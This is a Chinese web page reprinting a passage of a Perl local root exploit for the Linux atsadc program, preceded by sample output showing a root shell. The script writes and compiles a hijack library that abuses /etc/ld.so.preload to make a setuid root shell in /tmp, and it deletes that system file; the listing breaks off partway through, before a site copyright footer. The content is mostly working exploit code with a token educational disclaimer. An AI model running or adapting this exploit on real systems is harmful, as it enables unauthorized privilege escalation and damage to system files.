Linux atsadc 输入文件检查漏洞(2)

  sh: error in loading shared libraries:

  Welcome. But as always: BEHAVE!

  sh-2.03# id -a

  uid=0(root) gid=0(root) groups=501(bletchley)

  sh-2.03#

  ---------------------------- ass.pl ------------------------------------------

  #!/usr/bin/perl

  # Halloween 4 local root-exploit, other distros are maybe

  # affected as well. (atsadc program)

  # (C) 2000 C-skills development, S. Krahmer under the GPL

  #

  # Exploit will create /etc/ld.so.preload, so it should NOT exist

  # already. THIS FILE WILL BE LOST!

  # ! USE IT AT YOUR OWN RISK !

  # For educational purposes only.

  print "Creating hijack-lib ...\n";

  open O, ">/tmp/boom.c" or die "open(boom.c..)";

  print O<<_EOF_;

  #include

  int time(void *v)

  {

  chown("/tmp/boomsh", 0, 0);

  chmod("/tmp/boomsh", 06755);

  unlink("/etc/ld.so.preload");

  exit(1);

  }

  _EOF_

  close O;

  print "Compiling hijack-lib ...\n";

  $foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;

  $foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`;

  open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";

  print O<<_EOF2_;

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwpwxd.html